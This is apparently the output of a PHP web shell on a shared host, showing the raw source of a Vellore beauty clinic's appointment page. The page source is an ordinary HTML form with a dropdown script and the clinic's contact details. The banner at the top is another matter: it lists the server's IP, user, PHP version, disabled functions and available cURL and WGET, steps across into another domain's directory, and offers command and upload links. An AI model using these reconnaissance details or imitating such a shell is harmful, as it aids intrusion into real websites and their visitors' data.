|
Server IP : 2a02:4780:11:767:0:2c41:85d9:6 / Your IP : 216.73.217.38 Web Server : LiteSpeed System : Linux in-mum-web667.main-hosting.eu 5.14.0-570.62.1.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Nov 11 10:10:59 EST 2025 x86_64 User : u742491609 ( 742491609) PHP Version : 8.1.34 Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail MySQL : OFF | cURL : ON | WGET : ON | Perl : OFF | Python : OFF Directory (0755) : /home/u742491609/domains/tsorworks.com/../mapisbeautyskinclinic.com/public_html/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<!DOCTYPE html>
<html lang="en" data-theme-color="skin-3">
<head>
<!-- Title -->
<title>Best Skin Care & Beauty Clinic in Vellore | Mapis Beauty Skin Clinic</title>
<!-- Meta -->
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="author" content="mapisbeautyskinclinic.com">
<meta name="robots" content="index, follow">
<meta name="format-detection" content="telephone=no">
<meta name="keywords" content="skin care in vellore, skin care treatment in vellore, it skin care,top skin products in vellore, beauty products in vellore, skin care appointment in vellore, care skincare, skin cream, skin moisturizer, skin skincare, skin serum shops in vellore, skin lotion, skin care , face products, best skin care in vellore, in skin care, hair and skin care, i skin care, face routine, you skin care, online skincare, cure skin, skin care professional, professional skin care in vellore, skin recovery cream shop in vellore, no skincare, beauty book, skin care book, skin clearing, skincare us, best facial care, skin care skin, best skin creams, hair skin care, best skin care treatment, female skin care, skin care and hair care, online skin treatment, skin beauty cream, b skincare, skin care and, to skin care, skin care online stores, hair care and skin care, skin care of, online beauty services, skincare hair care, the best skin care product, skin care i, skin care and treatment, touch skin care, skin care to, hair care skin care near me, best at home skin care in vellore, skin care and hair, care of hair, skin clearing treatment, skin cleansing treatment, skin care hair, skincare yours, skin care buy online, skin conditioners, skin regimens, book on skin, ideal skin care, all about skin care, the skin care book, skin care female, on skin cosmetics, latest skin treatments, website beauty, beauty care online, hair skin treatment, skincare no, new skin skin care, the skin serum, skincare web, skin care b, beautiful skin routine, the skin cosmetics, skein care, select skin care, best beauty skin care, skinny care, remedy skincare, sun skincare, caring hair treatment, best skin facials, the skin product, skin 9, pampering care, number 9 skin care, professional skin treatments, skin care treatment online, all skincare, 20 skincare, basic skin moisturizer, beautiful skin and hair, beauty book online, best beauty care, best book on skin care, best facial skin treatment, best home beauty services, best skin clearing, best skin cosmetics, best skin secrets, best skin solution, cheap skin moisturizer, derm face, face routine care, get beautiful skin, home beauty treatment, its skin skin care, latest in skin care, moisturizer beauty, pigmentation ka treatment, professional skin cleanser, professional skincare treatments, real beauty skin care, right skin care, second skin cosmetics, second skin product, skin best, skin best treatment, skin care 20, skin care after 20, skin care all, skin care paket, skincare ideal, skinn online, the best skin product">
<meta name="description" content="Transform your skin with advanced skincare treatments in Vellore! Mapis Beauty Skin Clinic offers facials, hair care, pigmentation solutions, and top beauty products. Book now for glowing results!.">
<meta property="og:title" content="Best Skin Care & Beauty Clinic in Vellore | Mapis Beauty Skin Clinic">
<meta property="og:description" content="Transform your skin with advanced skincare treatments in Vellore! Mapis Beauty Skin Clinic offers facials, hair care, pigmentation solutions, and top beauty products. Book now for glowing results">
<meta property="og:image" content="mapisbeautyskinclinic.com">
<!-- TWITTER META -->
<meta name="twitter:title" content="Best Skin Care & Beauty Clinic in Vellore | Mapis Beauty Skin Clinic">
<meta name="twitter:description" content="Transform your skin with advanced skincare treatments in Vellore! Mapis Beauty Skin Clinic offers facials, hair care, pigmentation solutions, and top beauty products. Book now for glowing results!">
<meta name="twitter:image" content="mapisbeautyskinclinic.com">
<meta name="twitter:card" content="summary_large_image">
<!-- CANONICAL URL -->
<link rel="canonical" href="https://mapisbeautyskinclinic.com/appointment.php">
<!-- MOBILE SPECIFIC -->
<meta name="viewport" content="width=device-width, initial-scale=1">
<!-- FAVICONS ICON -->
<link rel="icon" type="image/x-icon" href="images/favicon.ico">
<link rel="preconnect" href="https://fonts.googleapis.com">
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
<link href="https://fonts.googleapis.com/css2?family=Poppins:ital,wght@0,100;0,200;0,300;0,400;0,500;0,600;0,700;0,800;0,900;1,100;1,200;1,300;1,400;1,500;1,600;1,700;1,800;1,900&display=swap" rel="stylesheet">
<link rel="stylesheet" type="text/css" href="assets/vendor/tempus-dominus/css/tempus-dominus.min.css">
<!-- Custom Stylesheet -->
<link rel="stylesheet" type="text/css" href="assets/css/style.css">
<style>
.form-wrapper.style-2 .form-check2 .form-check-label {
color: #BED2E7;
font-size: 11px;
display: inline;
}
.custom-dropdown {
border-bottom: 1px solid #ccc;
/*border-radius: 5px;*/
padding: 10px;
/*background: #fff;*/
cursor: pointer;
position: relative;
font-size: 14px;
color: #333;
}
.dropdown-input {
cursor: pointer;
outline: none;
font-size: 14px;
color: #333;
}
.dropdown-options {
list-style: none;
margin: 0;
padding: 0;
position: absolute;
background: #fff;
border: 1px solid #ccc;
border-radius: 5px;
display: none;
max-height: 150px;
overflow-y: auto;
width: 100%;
z-index: 10;
}
.dropdown-options li {
padding: 10px;
cursor: pointer;
}
.dropdown-options li:hover {
background: #f0f0f0;
}
.dropdown-input[data-placeholder]::before {
content: attr(data-placeholder);
color: #BCD0E5;
font-size:18px;
}
</style>
<!-- Google tag (gtag.js) -->
<script async src="https://www.googletagmanager.com/gtag/js?id=G-3PYCGE8FQX"></script>
<script>
window.dataLayer = window.dataLayer || [];
function gtag(){dataLayer.push(arguments);}
gtag('js', new Date());
gtag('config', 'G-3PYCGE8FQX');
</script>
</head>
<body id="bg">
<!--<div class="page-wraper">-->
<!-- <div class="dz-preloader-3" id="dzPreloader">-->
<!-- <div class="preloader-inner"></div>-->
<!--</div>-->
<?php include "header.php"; ?>
<main class="page-content">
<div class="dz-bnr-inr style-1 overlay-black-middle dz-bnr-inr-md" style="background-image:url(assets/images/banner/bnr1.webp);">
<div class="container">
<div class="dz-bnr-inr-entry d-table-cell">
<h1 class="wow fadeInUp" data-wow-delay="0.2s" data-wow-duration="0.8s">Appointment</h1>
<nav aria-label="breadcrumb" class="breadcrumb-row wow fadeInUp" data-wow-delay="0.4s" data-wow-duration="0.8s">
<ul class="breadcrumb">
<li class="breadcrumb-item"><a href="index.php">Home</a></li>
<li class="breadcrumb-item">Appointment</li>
</ul>
</nav>
</div>
</div>
<div class="vertical-info left">
<ul class="social-list wow fadeInLeft" data-wow-delay="0.4s" data-wow-duration="0.8s">
<li><a href="https://www.instagram.com/mapisbeautyhair_skinclinic/" target="_blank">Instagram</a></li>
<li><a href="https://www.facebook.com/profile.php?id=61569892846858" target="_blank">Facebook</a></li>
<li><a href="https://whatsapp.com/channel/0029VazDA0ZLo4hbgIXdG12c" target="_blank">Whatsapp</a></li>
</ul>
</div>
<div class="blur1"></div>
<div class="blur2"></div>
<div class="elip"><img src="assets/images/banner/img2.jpg" alt="mapisbeautycare"></div>
<div class="item1">
<svg width="61" height="61" viewBox="0 0 61 61" fill="none" xmlns="http://www.w3.org/2000/svg">
<path d="M30.5 0L34.4251 26.5749L61 30.5L34.4251 34.4251L30.5 61L26.5749 34.4251L0 30.5L26.5749 26.5749L30.5 0Z" fill="#F46700"/>
</svg>
</div>
<div class="item2">
<svg width="102" height="102" viewBox="0 0 102 102" fill="none" xmlns="http://www.w3.org/2000/svg">
<g filter="url(#filter0_d_102_123)">
<path d="M51 40L52.4156 49.5844L62 51L52.4156 52.4156L51 62L49.5844 52.4156L40 51L49.5844 49.5844L51 40Z" fill="#F46700"/>
</g>
<defs>
<filter id="filter0_d_102_123" x="0" y="0" width="102" height="102" filterUnits="userSpaceOnUse" color-interpolation-filters="sRGB">
<feFlood flood-opacity="0" result="BackgroundImageFix"/>
<feColorMatrix in="SourceAlpha" type="matrix" values="0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 127 0" result="hardAlpha"/>
<feOffset/>
<feGaussianBlur stdDeviation="20"/>
<feComposite in2="hardAlpha" operator="out"/>
<feColorMatrix type="matrix" values="0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0.1 0"/>
<feBlend mode="normal" in2="BackgroundImageFix" result="effect1_dropShadow_102_123"/>
<feBlend mode="normal" in="SourceGraphic" in2="effect1_dropShadow_102_123" result="shape"/>
</filter>
</defs>
</svg>
</div>
<div class="item3">
<svg width="30" height="30" viewBox="0 0 30 30" fill="none" xmlns="http://www.w3.org/2000/svg">
<path d="M15 0L16.9304 13.0696L30 15L16.9304 16.9304L15 30L13.0696 16.9304L0 15L13.0696 13.0696L15 0Z" fill="#F46700"/>
</svg>
</div>
</div>
<section class="content-inner bg-light pb-0 overflow-hidden">
<div class="container">
<div class="row content-wrapper style-17 align-items-end justify-content-center">
<div class="col-xl-5 col-lg-12 order-xl-1 m-b30 wow fadeInUp" data-wow-delay="0.2s" data-wow-duration="0.8s">
<div class="content-info">
<div class="form-wrapper style-2 bg-secondary">
<div class="form-body">
<div class="title-head">
<h2 class="form-title m-b20">Book Your Appointment</h2>
</div>
<form action="appointmentmail.php" method="POST" enctype="multipart/form-data">
<div class="dzFormMsg"></div>
<div class="row">
<!-- Name Input -->
<div class="col-sm-12 m-b30">
<div class="floating-underline underline-1 input-light input-icon-left">
<span class="input-group-text text-primary"><i class="feather icon-user"></i></span>
<input name="name" type="text" class="form-control" placeholder="Your Name" required>
</div>
</div>
<!-- Email Input -->
<div class="col-sm-12 m-b30">
<div class="floating-underline underline-1 input-light input-icon-left">
<span class="input-group-text text-primary"><i class="feather icon-mail"></i></span>
<input name="email" type="email" class="form-control" placeholder="Your Email" required>
</div>
</div>
<!-- Phone Number Input -->
<div class="col-sm-12 m-b30">
<div class="floating-underline underline-1 input-light input-icon-left">
<span class="input-group-text text-primary"><i class="feather icon-phone"></i></span>
<input name="phone_number" type="text" class="form-control" placeholder="Phone Number" required>
</div>
</div>
<!-- Treatment Dropdown -->
<div class="col-sm-12 m-b30">
<div class="floating-underline underline-1 input-light input-icon-left position-relative">
<span class="input-group-text text-primary"><i class="fas fa-spa"></i></span>
<!-- Custom Styled Select -->
<div class="custom-dropdown">
<div id="dropdownInput" class="dropdown-input" contenteditable="false" placeholder="Select Treatment" style="margin-left:7%;color: #BCD0E5;
font-size:18px;">Select Treatment</div>
<ul id="dropdownOptions" class="dropdown-options">
<li data-value="Beauty">Beauty (Female)</li>
<li data-value="Skincare">Skincare Treatment</li>
<li data-value="Hair">Hair Treatment</li>
</ul>
</div>
<input type="hidden" name="treatment" id="selectedTreatment">
</div>
</div>
<!-- Message Input -->
<div class="col-sm-12 m-b30">
<div class="floating-underline underline-1 input-light input-icon-left">
<span class="input-group-text text-primary"><i class="far fa-comment-dots"></i></span>
<input name="message" type="text" class="form-control" placeholder="Requirements" required>
</div>
</div>
<!-- Appointment Date -->
<div class="col-sm-6 m-b30">
<div class="floating-underline underline-1 input-light input-icon-left">
<span class="input-group-text text-primary"><i class="feather icon-calendar"></i></span>
<input name="appointment_date" type="text" class="form-control" id="datePickerOnly" placeholder="Date" required>
</div>
</div>
<!-- Appointment Time -->
<div class="col-sm-6 m-b30">
<div class="floating-underline underline-1 input-light input-icon-left">
<span class="input-group-text text-primary"><i class="feather icon-clock"></i></span>
<input name="appointment_time" type="text" class="form-control" id="timePickerOnly" placeholder="Time" required>
</div>
</div>
<!--<div class="col-sm-6" style="overflow-y:scroll; height:150px; ">-->
<!-- <h6 style="color: #ffffff; font-size:12px;">BEAUTY (Only Female)</h6>-->
<!-- <div class="form-check2 m-b5">-->
<!-- <input class="form-check-input" type="checkbox" name="services[]" value="Eyebrows" id="checkBox1">-->
<!-- <label class="form-check-label" for="checkBox1">Eyebrows</label>-->
<!-- </div>-->
<!-- <div class="form-check2 m-b5">-->
<!-- <input class="form-check-input" type="checkbox" name="services[]" name="services[]" value="Facials" id="checkBox2">-->
<!-- <label class="form-check-label" for="checkBox2">Facials</label>-->
<!-- </div>-->
<!-- <div class="form-check2 m-b5">-->
<!-- <input class="form-check-input" type="checkbox" name="services[]" value="Pedicure" id="checkBox3">-->
<!-- <label class="form-check-label" for="checkBox3">Pedicure</label>-->
<!-- </div>-->
<!-- <div class="form-check2 m-b5">-->
<!-- <input class="form-check-input" type="checkbox" name="services[]" value="Manicure" id="checkBox1">-->
<!-- <label class="form-check-label" for="checkBox1">Manicure</label>-->
<!-- </div>-->
<!-- <div class="form-check2 m-b5">-->
<!-- <input class="form-check-input" type="checkbox" name="services[]" value="Hair Cutting" id="checkBox2">-->
<!-- <label class="form-check-label" for="checkBox2">Hair Cutting</label>-->
<!-- </div>-->
<!-- <div class="form-check2 m-b5">-->
<!-- <input class="form-check-input" type="checkbox" name="services[]" value="Waxing(Honey, Raaga, Rice, Biosoft)" id="checkBox3">-->
<!-- <label class="form-check-label" for="checkBox3">Waxing(Honey, Raaga, Rice, Biosoft)</label>-->
<!-- </div>-->
<!-- <div class="form-check2 m-b5">-->
<!-- <input class="form-check-input" type="checkbox" name="services[]" value="Hair Color" id="checkBox1">-->
<!-- <label class="form-check-label" for="checkBox1">Hair Color</label>-->
<!-- </div>-->
<!-- <div class="form-check2 m-b5">-->
<!-- <input class="form-check-input" type="checkbox" name="services[]" value="Makeup(Bridal, HD, Natural, Matte)" id="checkBox2">-->
<!-- <label class="form-check-label" for="checkBox2">Makeup(Bridal, HD, Natural, Matte)</label>-->
<!-- </div>-->
<!-- <div class="form-check2 m-b5">-->
<!-- <input class="form-check-input" type="checkbox" name="services[]" value="Hair Rebonding" id="checkBox3">-->
<!-- <label class="form-check-label" for="checkBox3">Hair Rebonding</label>-->
<!-- </div>-->
<!-- <div class="form-check2 m-b5">-->
<!-- <input class="form-check-input" type="checkbox" name="services[]" value="Hair Spa" id="checkBox1">-->
<!-- <label class="form-check-label" for="checkBox1">Hair Spa</label>-->
<!-- </div>-->
<!-- <div class="form-check2 m-b5">-->
<!-- <input class="form-check-input" type="checkbox" name="services[]" value="Hair oil Massage" id="checkBox2">-->
<!-- <label class="form-check-label" for="checkBox2">Hair oil Massage</label>-->
<!-- </div>-->
<!-- <div class="form-check2 m-b5">-->
<!-- <input class="form-check-input" type="checkbox" name="services[]" value="Dandruf Treatment" id="checkBox3">-->
<!-- <label class="form-check-label" for="checkBox3">Dandruf Treatment</label>-->
<!-- </div>-->
<!-- <div class="form-check2 m-b5">-->
<!-- <input class="form-check-input" type="checkbox" name="services[]" value="Hair Botox" id="checkBox3">-->
<!-- <label class="form-check-label" for="checkBox3">Hair Botox</label>-->
<!-- </div>-->
<!--</div>-->
<!--<div class="col-sm-6 m-b30" style="overflow-y:scroll; height:150px; ">-->
<!-- <h6 style="color: #ffffff; font-size:12px;">SKIN TREATMENT (Unisex)</h6>-->
<!-- <div class="form-check2 m-b5">-->
<!-- <input class="form-check-input" type="checkbox" name="servicess[]" value="Medi Facial" id="checkBox4">-->
<!-- <label class="form-check-label" for="checkBox4">Medi Facial</label>-->
<!-- </div>-->
<!-- <div class="form-check2 m-b5">-->
<!-- <input class="form-check-input" type="checkbox" name="servicess[]" value="Hydra Facial" id="checkBox5">-->
<!-- <label class="form-check-label" for="checkBox5">Hydra Facial</label>-->
<!-- </div>-->
<!-- <div class="form-check2 m-b5">-->
<!-- <input class="form-check-input" type="checkbox" name="servicess[]" value="Yellow Peel" id="checkBox6">-->
<!-- <label class="form-check-label" for="checkBox6">Yellow Peel</label>-->
<!-- </div>-->
<!-- <div class="form-check2 m-b5">-->
<!-- <input class="form-check-input" type="checkbox" name="servicess[]" value="Glycolic Peel" id="checkBox4">-->
<!-- <label class="form-check-label" for="checkBox4">Glycolic Peel</label>-->
<!-- </div>-->
<!-- <div class="form-check2 m-b5">-->
<!-- <input class="form-check-input" type="checkbox" name="servicess[]" value="Lactic Peel" id="checkBox5">-->
<!-- <label class="form-check-label" for="checkBox5">Lactic Peel</label>-->
<!-- </div>-->
<!-- <div class="form-check2 m-b5">-->
<!-- <input class="form-check-input" type="checkbox" name="servicess[]" value="Salicylic Peel" id="checkBox5">-->
<!-- <label class="form-check-label" for="checkBox5">Salicylic Peel</label>-->
<!-- </div>-->
<!-- <div class="form-check2 m-b5">-->
<!-- <input class="form-check-input" type="checkbox" name="servicess[]" value="Green Peel" id="checkBox6">-->
<!-- <label class="form-check-label" for="checkBox6">Green Peel</label>-->
<!-- </div>-->
<!-- <div class="form-check2 m-b5">-->
<!-- <input class="form-check-input" type="checkbox" name="servicess[]" value="Laser Hair Removal" id="checkBox6">-->
<!-- <label class="form-check-label" for="checkBox6">Laser Hair Removal</label>-->
<!-- </div>-->
<!-- <div class="form-check2 m-b5">-->
<!-- <input class="form-check-input" type="checkbox" name="servicess[]" value="Tattoo Removal" id="checkBox4">-->
<!-- <label class="form-check-label" for="checkBox4">Tattoo Removal</label>-->
<!-- </div>-->
<!-- <div class="form-check2 m-b5">-->
<!-- <input class="form-check-input" type="checkbox" name="servicess[]" value="Q-Switch" id="checkBox5">-->
<!-- <label class="form-check-label" for="checkBox5">Q-Switch</label>-->
<!-- </div>-->
<!-- <div class="form-check2 m-b5">-->
<!-- <input class="form-check-input" type="checkbox" name="servicess[]" value="Eye Peel" id="checkBox6">-->
<!-- <label class="form-check-label" for="checkBox6">Eye Peel</label>-->
<!-- </div>-->
<!-- <div class="form-check2 m-b5">-->
<!-- <input class="form-check-input" type="checkbox" name="servicess[]" value="Lip Peel" id="checkBox4">-->
<!-- <label class="form-check-label" for="checkBox4">Lip Peel</label>-->
<!-- </div>-->
<!-- <div class="form-check2 m-b5">-->
<!-- <input class="form-check-input" type="checkbox" name="servicess[]" value="Skin Brightening Treatment" id="checkBox5">-->
<!-- <label class="form-check-label" for="checkBox5">Skin Brightening Treatment</label>-->
<!-- </div>-->
<!-- <div class="form-check2 m-b5">-->
<!-- <input class="form-check-input" type="checkbox" name="servicess[]" value="Skin/Hair PRP" id="checkBox6">-->
<!-- <label class="form-check-label" for="checkBox6">Skin/Hair PRP</label>-->
<!-- </div>-->
<!-- <div class="form-check2 m-b5">-->
<!-- <input class="form-check-input" type="checkbox" name="servicess[]" value="Fullbody Glutathione Injection" id="checkBox4">-->
<!-- <label class="form-check-label" for="checkBox4">Fullbody Glutathione Injection</label>-->
<!-- </div>-->
<!--</div>-->
<div class="col-sm-12 m-t10">
<button type="submit" name="submit" value="submit" class="btn btn-lg btn-white w-100">
<i class="feather icon-calendar m-r5"></i> Book An appointment
</button>
</div>
</div>
</form>
</div>
</div>
</div>
</div>
<div class="col-xl-7 col-lg-8 pe-xl-5 wow fadeInUp" data-wow-delay="0.4s" data-wow-duration="0.8s">
<div class="content-media">
<div class="dz-media">
<img src="assets/images/banner/img13.webp" alt="mapisbeautydoctor">
</div>
<div class="item1">
<svg viewBox="0 0 694 694" fill="none" xmlns="http://www.w3.org/2000/svg">
<circle cx="347" cy="347" r="346" stroke="var(--bs-primary)" stroke-opacity="0.1" stroke-width="2" stroke-dasharray="12 12"/>
<circle cx="347" cy="347" r="296" stroke="var(--bs-primary)" stroke-opacity="0.2" stroke-width="2" stroke-dasharray="12 12"/>
<circle cx="347" cy="347" r="244" stroke="var(--bs-primary)" stroke-opacity="0.3" stroke-width="2" stroke-dasharray="12 12"/>
<circle cx="147.5" cy="206.5" r="6.5" fill="var(--bs-primary)"/>
<circle opacity="0.3" cx="206.5" cy="30.5" r="4.5" fill="var(--bs-primary)"/>
<circle opacity="0.6" cx="62.5" cy="433.5" r="2.5" fill="var(--bs-primary)"/>
<ellipse opacity="0.6" cx="525" cy="109.5" rx="4" ry="3.5" fill="var(--bs-primary)"/>
<circle cx="642.5" cy="361.5" r="3.5" fill="var(--bs-primary)"/>
<ellipse opacity="0.3" cx="573" cy="606.5" rx="3" ry="2.5" fill="var(--bs-primary)"/>
</svg>
</div>
<div class="item2">
<div class="info-widget style-10 move-3">
<span class="content-text text-primary"><span class="counter">20</span>+</span>
<h3 class="title m-b0">Years <br> Experienced</h3>
</div>
</div>
<!--<div class="item3">-->
<!-- <div class="dz-img-box style-1 move-4">-->
<!-- <div class="dz-media">-->
<!-- <img src="images/logo/logo1.png" alt="">-->
<!-- </div>-->
<!-- <div class="dz-content"> -->
<!-- <h3 class="title">ClinicMaster 2024</h3>-->
<!-- <p>Quality and Accreditation Institute</p>-->
<!-- <a href="javascript:void(0);" class="btn-link">Best Dermatologists</a>-->
<!-- </div>-->
<!-- </div>-->
<!--</div>-->
</div>
</div>
</div>
</div>
</section>
<section class="content-inner">
<div class="container">
<div class="section-head style-3 text-center wow fadeInUp" data-wow-delay="0.2s" data-wow-duration="0.8s">
<h2 class="title m-b10">Location</h2>
</div>
<div class="row">
<!--<div class="col-xl-3 col-md-6 m-b30 wow fadeInUp" data-wow-delay="0.2s" data-wow-duration="0.8s">-->
<!-- <div class="dz-img-box style-4">-->
<!-- <div class="dz-head">-->
<!-- <h3 class="title m-b10"><img src="images/country/united_states.webp" alt=""> United State</h3>-->
<!-- </div>-->
<!-- <div class="dz-media">-->
<!-- <img src="images/map/map1.webp" alt="">-->
<!-- </div>-->
<!-- <div class="dz-content"> -->
<!-- <p class="m-b10">123 Health Way, Suite 456 Goodland, 78910 United States</p>-->
<!-- <a href="tel:+0123-456-7890" class="text-body">+0 123-456-7890</a> -->
<!-- </div>-->
<!-- <div class="dz-footer">-->
<!-- <a href="https://www.google.com/maps/" target="_blank" class="icon-link-hover-end">Get Directions <i class="feather icon-arrow-up-right"></i></a>-->
<!-- </div>-->
<!-- </div>-->
<!--</div>-->
<!--<div class="col-xl-3 col-md-6 m-b30 wow fadeInUp" data-wow-delay="0.4s" data-wow-duration="0.8s">-->
<!-- <div class="dz-img-box style-4">-->
<!-- <div class="dz-head">-->
<!-- <h3 class="title m-b10"><img src="images/country/canada.webp" alt=""> Canada</h3>-->
<!-- </div>-->
<!-- <div class="dz-media">-->
<!-- <img src="images/map/map2.webp" alt="">-->
<!-- </div>-->
<!-- <div class="dz-content"> -->
<!-- <p class="m-b10">123 Health Way, Suite 456 Goodland, 78910 United States</p>-->
<!-- <a href="tel:+0123-456-7890" class="text-body">+0 123-456-7890</a> -->
<!-- </div>-->
<!-- <div class="dz-footer">-->
<!-- <a href="https://www.google.com/maps/" target="_blank" class="icon-link-hover-end">Get Directions <i class="feather icon-arrow-up-right"></i></a>-->
<!-- </div>-->
<!-- </div>-->
<!--</div>-->
<!--<div class="col-xl-3 col-md-6 m-b30 wow fadeInUp" data-wow-delay="0.6s" data-wow-duration="0.8s">-->
<!-- <div class="dz-img-box style-4">-->
<!-- <div class="dz-head">-->
<!-- <h3 class="title m-b10"><img src="images/country/united_states.webp" alt=""> United State</h3>-->
<!-- </div>-->
<!-- <div class="dz-media">-->
<!-- <img src="images/map/map1.webp" alt="">-->
<!-- </div>-->
<!-- <div class="dz-content"> -->
<!-- <p class="m-b10">123 Health Way, Suite 456 Goodland, 78910 United States</p>-->
<!-- <a href="tel:+0123-456-7890" class="text-body">+0 123-456-7890</a> -->
<!-- </div>-->
<!-- <div class="dz-footer">-->
<!-- <a href="https://www.google.com/maps/" target="_blank" class="icon-link-hover-end">Get Directions <i class="feather icon-arrow-up-right"></i></a>-->
<!-- </div>-->
<!-- </div>-->
<!--</div>-->
<div class="col-xl-3 col-md-6 m-b30 wow fadeInUp" data-wow-delay="0.8s" data-wow-duration="0.8s">
<div class="dz-img-box style-4">
<div class="dz-head">
<h3 class="title m-b10"><img src="images/country/india.webp" alt="mapisbeautycare Vellore"> Vellore</h3>
</div>
<div class="dz-media">
<img src="images/map/map2.webp" alt="mapis skin care in vellore">
</div>
<div class="dz-content">
<p class="m-b10">Door No: 48/B/9,<br> Second Floor, Arani Road, Sainathapuram, Vellore 632001</p>
<a href="tel:+91 9600940383" class="text-body">+91 9600940383</a>
</div>
<div class="dz-footer">
<a href="https://maps.app.goo.gl/6GagpbGfY54Nk1jW7" target="_blank" class="icon-link-hover-end">Get Directions <i class="feather icon-arrow-up-right"></i></a>
</div>
</div>
</div>
</div>
</div>
</section>
</main>
<script>
document.addEventListener("DOMContentLoaded", function () {
const dropdownInput = document.getElementById("dropdownInput");
const dropdownOptions = document.getElementById("dropdownOptions");
const selectedTreatment = document.getElementById("selectedTreatment");
// Toggle options visibility on input click
dropdownInput.addEventListener("click", () => {
dropdownOptions.style.display = dropdownOptions.style.display === "block" ? "none" : "block";
});
// Select an option and update input
dropdownOptions.addEventListener("click", (e) => {
if (e.target.tagName === "LI") {
const value = e.target.getAttribute("data-value");
dropdownInput.textContent = e.target.textContent;
selectedTreatment.value = value;
dropdownOptions.style.display = "none";
}
});
// Close dropdown if clicked outside
document.addEventListener("click", (e) => {
if (!dropdownInput.contains(e.target) && !dropdownOptions.contains(e.target)) {
dropdownOptions.style.display = "none";
}
});
});
</script>
<?php include "footer.php"; ?>
<button class="scroltop" type="button"><i class="fas fa-arrow-up"></i></button>
</div>
<!-- JAVASCRIPT FILES ========================================= -->
<script src="assets/js/global.min.js"></script>
<script src="assets/vendor/popper/popper.js"></script>
<script src="assets/vendor/tempus-dominus/js/tempus-dominus.min.js"></script>
<script src="assets/js/dz.ajax.js"></script>
<script src="assets/js/custom.js"></script>
</body>
</html>